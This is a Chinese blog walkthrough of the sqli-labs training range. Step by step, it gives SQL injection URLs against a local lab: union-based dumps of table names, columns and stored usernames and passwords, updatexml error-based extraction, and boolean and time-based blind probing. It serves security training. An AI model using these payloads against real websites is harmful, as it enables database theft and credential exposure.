首页 > 数据库 >sqli-labs靶场通关攻略

sqli-labs靶场通关攻略

时间:2024-08-15 20:24:43浏览次数:14  
标签:127.0 http 攻略 Less 0.1 labs sqli --+ id

Less-1

sql手工注入攻击流程

步骤一:确定攻击点,确定网站可以注入的参数

http://127.0.0.1/Less-1/?id=1

步骤二:判断闭合方式 ' --+

步骤三:判断字段列数 order by

1.
http://127.0.0.1/Less-1/?id=1' order by 3 --+ 页面正常 说明存在3列

2.
http://127.0.0.1/Less-1/?id=1' order by 4 --+ 页面不正常 说明存在3列

步骤四:联合查询 查当前数据库名,数据库用户

1.联合查询3列

http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+  页面显示的是id=1的数据,没有显示我们联合查询的数据

2.页面上显示联合查询的回显点

把前面查询的id的数据改成不存在的,比如-1

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+

3.联合查询数据库名和用户名

http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+

步骤五:联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤六:联合查询 查出users表里面的所有列

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤七:查询表中所有的数据

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,'-',username,'-',password) from users --+

Less-2

报错注入流程

前提:只要网站有报错语句就能进行报错查询

步骤一:http://127.0.0.1/Less-2/?id=1' 跟个单引号引起报错 说明页面有报错语句的位置

步骤二:测试闭合注释为

http://127.0.0.1/Less-2/?id=1--+

步骤三:http://127.0.0.1/Less-2/?id=1 and updatexml(1,1,1) --+ 使用报错函数,报错函数里面三个参数,写三个1占位置

步骤四:http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,1),1) --+ 我们可以操控的是第二个参数的位置,所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

步骤五:http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select database())),1) --+我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

步骤五:查表名:http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=’security‘)),1) --+

步骤六:查列名:'http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

步骤七:查具体的username和password

http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

Less-3

步骤一:确定攻击点,确定网站可以注入的参数

步骤二:判断闭合方式 ') --+

 步骤三:判断字段列数 order by

1.
http://127.0.0.1/Less-3/?id=1') order by 3 --+ 页面正常 说明存在3列

2.
http://127.0.0.1/Less-3/?id=1') order by 4 --+ 页面不正常 说明存在3列

步骤四:联合查询 查当前数据库名,数据库用户

1.联合查询3列

http://127.0.0.1/Less-3/?id=1') union select 1,2,3 --+  页面显示的是id=1的数据,没有显示我们联合查询的数据

2.页面上显示联合查询的回显点

把前面查询的id的数据改成不存在的,比如-1

http://127.0.0.1/Less-3/?id=-1') union select 1,2,3 --+

3.联合查询数据库名和用户名

http://127.0.0.1/Less-3/?id=-1') union select 1,database(),user() --+

步骤五:联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤六:联合查询 查出users表里面的所有列

http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤七:查询表中所有的数据

http://127.0.0.1/Less-3/?id=-1') union select 1,2,group_concat(id,'~',username,'~',password) from users --+

Less-4

步骤一:确定攻击点,确定网站可以注入的参数

步骤二:判断闭合方式 ") --+

 步骤三:判断字段列数 order by

1.
http://127.0.0.1/Less-4/?id=1") order by 3 --+ 页面正常 说明存在3列

2.
http://127.0.0.1/Less-4/?id=1") order by 4 --+ 页面不正常 说明存在3列

步骤四:联合查询 查当前数据库名,数据库用户

1.联合查询3列

http://127.0.0.1/Less-4/?id=1") union select 1,2,3 --+  页面显示的是id=1的数据,没有显示我们联合查询的数据

2.页面上显示联合查询的回显点

把前面查询的id的数据改成不存在的,比如-1

http://127.0.0.1/Less-4/?id=-1") union select 1,2,3 --+

3.联合查询数据库名和用户名

http://127.0.0.1/Less-4/?id=-1") union select 1,database(),user() --+

步骤五:联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤六:联合查询 查出users表里面的所有列

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤七:查询表中所有的数据

http://127.0.0.1/Less-4/?id=-1") union select 1,2,group_concat(id,'~',username,'~',password) from users --+

Less-5

 步骤一:http://127.0.0.1/Less-5/?id=1' 跟个单引号引起报错 说明页面有报错语句的位置

步骤二:测试闭合注释为

http://127.0.0.1/Less-5/?id=1'--+

步骤三:http://127.0.0.1/Less-5/?id=1' and updatexml(1,1,1) --+ 使用报错函数,报错函数里面三个参数,写三个1占位置

步骤四:http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,1),1) --+ 我们可以操控的是第二个参数的位置,所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

步骤五:http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select database())),1) --+我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

步骤五:查表名:http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=’security‘)),1) --+

步骤六:查列名:'http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

步骤七:查具体的username和password

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

Less-8

布尔盲注流程

步骤一:判断闭合方式

不正常页面 http://127.0.0.1/Less-8/?id=1'

' --+ 闭合成功 页面正常 http://127.0.0.1/Less-8/?id=1' --+

步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注

判断数据库长度大于7 页面正常 说明数据库长度大于7:http://127.0.0.1/Less-8/?id=1' and length(database())>7--+

判断数据库长度大于8 页面异常 说明数据库长度等于8:http://127.0.0.1/Less-8/?id=1' and length(database())>8--+

步骤三:判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),1,1))>115--+

数据库第一位字符ascii码为115 's'。

判断数据库第二位字符

http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),2,1))>100--+


http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),2,1))>101--+

说明数据库第二位字符的ascii码长度大于100不大于101 那么就是等于101 'e'。

............................最终得出数据库名为security

步骤四:查security数据库中第一张表的第一位字符

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤五:判断users表中第一个字段的第一位字符

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+



说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

步骤六:判断username列的第一条数据的第一个字符

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>67--+

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>68--+

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

Less-9

时间盲注流程

步骤一:检查发现id等于多少都没有报错,可以使用时间盲注

步骤二:进行时间盲注的判断发现响应时间为sleep函数执行的时间则存在

步骤三:if(布尔盲注语句,sleep(3),1) //if判断语句,当布尔盲注语句成立时,执行sleep(3),否则执行1。

标签:127.0,http,攻略,Less,0.1,labs,sqli,--+,id
From: https://blog.csdn.net/shw_yzh/article/details/141196815

相关文章

  • sqli-labs靶场通关攻略 1-5
    通过https://github.com/Audi-1/sqli-labs  下载sqli-labs靶场压缩包把靶场环境放入phpstudy_pro的www里面输入数据库密码使用php5.4.45nts版本输入127.0.0.1点击setup靶场建立第一关:less-1步骤一:根据提示确立攻击点,确定注入参数为id步骤二:判断闭合方式:id=1......
  • sqli-labs靶场通关攻略
    SQL注入第一关首先我们进入靶场进入第一关我们要进行sql注入,先得确定此网站的闭合点在网址栏后+ /?id=1 回车判断字段列数orderbyhttp://127.0.0.1/Less-1/?id=1'orderby1--+页面正常说明存在1列http://127.0.0.1/Less-1/?id=1'orderby2--+页面正常......
  • 本地生活服务平台源码在哪里找到?获取全攻略来了!
    随着本地生活的市场前景和收益空间不断显现,各大官方平台的本地生活服务商申请门槛和审核力度以及入局后的考核要求也在持续调高。在此背景下,越来越多的创业者开始想要通过搭建本地生活服务平台源码完成入局,连带着本地生活服务平台源码在哪里找到等相关问题也因此备受关注。而......
  • Flutter项目移动端SQLite升级指南:解决json_extract函数缺失问题
    引言在Flutter移动端项目中依赖于SQLite的高级功能(如json_extract),在低版本的Android系统上部署时,可能会遇到函数不支持的问题。本文将指导你如何通过升级项目中使用的SQLite版本来解决这一问题。前置条件Flutter项目使用sqflite:^2.3.3+1进行SQLite数据库操作。IMBoyA......
  • 短剧CPS系统搭建全攻略:从零到一,详细教程助你快速上手
    目录一、短剧cps是什么?二、短剧cps系统搭建教程1.前端开发2.后端开发4.自动化与持续集成5.数据分析与监控三、部分代码展示 一、短剧cps是什么?短剧CPS系统是一种基于短剧推广的收益分成平台。该系统集成了短剧内容展示、用户观看、付费购买、佣金分成等功能,......
  • 保姆级攻略:企业系统和办公软件上云
    【若您对内容感兴趣,可以联系或关注我们】一、前期准备明确上云目标企业上云的目标多种多样,可能是为了降低成本、提高灵活性、增强安全性,亦或是为了紧跟数字化转型的潮流。明确目标对于后续的规划和决策至关重要。例如,一家小型创业公司由于资金有限,可能主要追求降低IT基础......
  • sqli-labs靶场通关攻略
    一,进入sqli-labs-master靶场第一关,加入参数id.列如:127.0.0.1二.判断SQL注入漏洞--引起报错找到闭合与注释加单引号判断闭合,发现为字符型注入,三.使用orderby判断字段数有几列:3列回显正常,4列出现报错,说明只有3列四.使用unionselect确定回显点五.看到2和3的回显查......
  • 本地生活服务平台源码是什么?成功攻略分享!
    作为当前多家互联网重点布局项目,本地生活已然成为众多创业者心目中理想的创业赛道,本地生活服务商的申请热度更是因此持续飙升。不过,由于各大官方平台对其本地生活服务商的要求日益严苛,让不少创业者在被拒之门外的同时,开始考虑通过本地生活服务平台源码部署这一途径完成入局。......
  • 高效攻略:程序员如何快速上手并精通大模型技术
    探索大模型:职场变革的催化剂在数字化转型的浪潮中,大模型技术正以前所未有的速度改变着职场生态。无论是提升现有服务的智能化程度,还是开辟全新的业务领域,大模型都展现出了无可比拟的优势。对于程序员而言,掌握大模型不仅意味着紧跟技术前沿,更是在职场竞争中占据先机的关键。......
  • 编程入门攻略
    编程小白如何成为大神?大学新生的最佳入门攻略编程已成为当代大学生的必备技能,但面对众多编程语言和学习资源,新生们常常感到迷茫。如何选择适合自己的编程语言?如何制定有效的学习计划?如何避免常见的学习陷阱?让我们一起探讨大学新生入门编程的最佳路径,为你的大学生活和未来职业......